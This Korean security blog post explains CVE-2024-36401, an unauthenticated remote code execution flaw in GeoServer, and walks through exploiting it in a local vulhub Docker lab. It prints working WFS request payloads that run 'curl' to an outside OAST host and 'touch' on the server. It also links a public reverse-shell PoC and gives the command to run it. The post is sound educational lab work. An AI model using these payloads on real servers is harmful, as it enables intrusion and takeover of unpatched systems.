Notice
Recent Posts
Recent Comments
Link
«   2026/01   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

정뾰안 - 정보보안 블로그

CVE-2024-36401(GeoServer RCE 취약점) 본문

CVE

CVE-2024-36401(GeoServer RCE 취약점)

정뾰안 2026. 1. 15. 20:02

CVE-2024-36401 요약

취약점 개요 GeoServer XPath 표현식 주입을 통한 원격 코드 실행 취약점
취약점 내용 GeoTools 라이브러리의 속성 이름(Property Name) 처리 과정에서
사용자 입력값을 XPath 표현식으로 부적절하게 해석하여 인증되지 않은 원격 코드 실행
영향 로그인 등 인증 절차 없이 원격에서 임의 코드 실행
대응 방안 안전한 버전 사용 등
CVSS 9.8
공개일 2024년 7월 1일

 


1. CVE-2024-36401 취약점 설명

CVE-2024-36401는 GeoServer 내부의 GeoTools 라이브러리 연관된 치명적인 원격 코드 실행 취약점이다.

GeoTools는 Java로 개발된 오픈소스 GIS(지리 정보 시스템) 소프트웨어 라이브러리이다. GeoServer는 사용자가 사용하는 웹 서비스이고, GeoServer가 내부에서 지리 데이터를 처리할 때 GeoTools를 호출해서 사용한다.

 

GeoTools 안에는 데이터를 분류하고 찾는 기능을 수행하는 필터 엔진이 있는데 이 엔진은 사용자로부터 요청을 받을 때 입력된 이름을 XPath(데이터 경로를 찾는 언어)로 해석하도록 설계되어 있다. 이 과정에서 라이브러리가 사용자 입력값을 명령어로 잘못 해석하여 인증 절차 없이도 원격에서 임의 코드를 실행할 수 있게 된 것이다.

 

(참고) 지도를 웹에 띄우거나 지리 데이터를 처리하는 것은 복잡한 수학적 계산이 필요함

그래서 이를 일일이 코딩하여 사용하지 않고 표준화된 기능을 미리 정의함 -> 그게 바로 GeoTools
 


영향 받는 버전 및 해결 버전

제품명 영향 받는 버전 해결 버전
GeoServer 2.24.0(포함) ~ 2.24.4(제외) 2.24.4
2.25.0(포함) ~ 2.25.2(제외) 2.25.2
~ 2.23.6(제외) 2.23.6

출처: kisa(https://knvd.krcert.or.kr/detailSecNo.do?IDX=6233)


2. 실습

테스트 환경 및 공격 실습은 깃허브에 공개된 데이터를 사용하여 진행한다. 
테스트 환경을 세팅하기 위해서는 PC에 Docker가 먼저 설치되어 있어야 한다. Docker 설치는 본 블로그의 'Docker Desktop 설치' 게시물을 확인하기 바라며, 본 게시물에서는 Docker 설치 과정은 생략하겠다.
 

Docker Desktop 설치

 

Docker Desktop 설치

Docker Desktop 설치 ◎ Docker 공식 홈페이지에 가서 설치파일을 다운로드 한다. (https://www.docker.com/)나는 'Download for Windows - AMD64'을 사용했다. Docker: Accelerated Container Application DevelopmentDocker is a platform de

yeongiee.tistory.com

 


 

◇ 환경 구성

◎ Docker Desktop을 실행한다.
 
◎ 도커 허브에서 취약한 GeoServer 환경 이미지를 다운로드 한다.   (https://hub.docker.com/r/vulhub/geoserver)

 

vulhub/geoserver - Docker Image

 

hub.docker.com

 
 
◎ Confirm 클릭

 
 
◎ Docker Desktop에서 실행

 
 
◎ STATUS가 Running이 되면 준비 완료

 
 
◎ 브라우저에서 http://localhost:8080/geoserver/web 접속

 
 
◎ localhost(127.0.0.1)은 프록시 툴로 잡기 위해 따로 설정이 필요하다. 나는 간단하게 방화벽 설정으로 해결했다.
(추가 예정. 참고로 마지막 공격 코드 사용할 때는 다른 PC 사용해야 해서 이 단계부터 다른 PC로 하는 것을 권장)
 

 

◇ 공격 실습

◎ OAST(Out-of-Band Application Security Testing) 테스트 사이트에 접근해서 왼쪽에 보이는 URL을 복사한다.
복사한 URL : tofixvparpentxgmeebms26bl11mxusv3.oast.fun
나는 https://app.interactsh.com/ 사용했다.

 
 
◎ GeoServer 홈페이지에 레이어 미리보기 페이지에 접근해서 아무 이름(tiger:poi 등) 복사
경로 : /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false

 
 
◎ BurpSuite를 실행한 뒤 /geoserver/wfs 경로에 접근한다.

 
 
 
◎ Burp에서 요청 패킷 확인 후 메소드를 GET > POST 로 변경한다.

 
 
◎ Content-Type을 application/xml 으로 변경하고 Body에 코드를 삽입한다. 이때 ③번 값은 앞서 GeoServer에서 복사한 이름이고 ④는 OAST 테스트 사이트에서 복사한 URL이다.

POST /geoserver/wfs/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/xml
Content-Length: 384

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl tofixvparpentxgmeebms26bl11mxusv3.oast.fun')</wfs:valueReference>
</wfs:GetPropertyValue>

 
 
◎ OAST 테스트 사이트에 패킷이 전송된 것을 통해 명령 실행에 성공한 것을 알 수 있다.

 
 
◎ 앞의 방법과 동일하게 진행하여 패킷을 변조한다. 이번엔 임의 파일을 생성하는 명령을 넣었다.

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/yeongiee')</wfs:valueReference>
</wfs:GetPropertyValue>

 
 
◎ DockerDesktop로 GeoServer의 /tmp 경로를 확인해보면 명령이 실행되어 파일이 생성된 것을 알 수 있다.

 
 
◎ POC 코드를 제공하는 깃허브 페이지에 접속하여 공격 코드를 다운로드 한다.
(https://github.com/bigb0x/CVE-2024-36401/blob/main/cve-2024-36401.py)

 

CVE-2024-36401/cve-2024-36401.py at main · bigb0x/CVE-2024-36401

POC for CVE-2024-36401. This POC will attempt to establish a reverse shell from the vlun targets. - bigb0x/CVE-2024-36401

github.com

◎ 이 코드는 GeoServer의 특정 서비스 요청(WFS) 시 취약한 파라미터에 공격 명령어를 삽입하여 대상 서버가 공격자의 PC로 역접속(Reverse Shell)하게 만들어 원격에서 시스템 제어권을 탈취하는 코드이다. 
 
 
◎ 공격 코드를 실행한다.
python cve-2024-36401.py -u [GeoServer URL] -ip [내 IP] -port [임의의 통신포트] -type [레이어이름]

 
 
◎ 쉘 연결되어 명령 실행이 가능하다.

 

'CVE' 카테고리의 다른 글

CVE-2025-55182 (React2Shell)  (1) 2025.12.31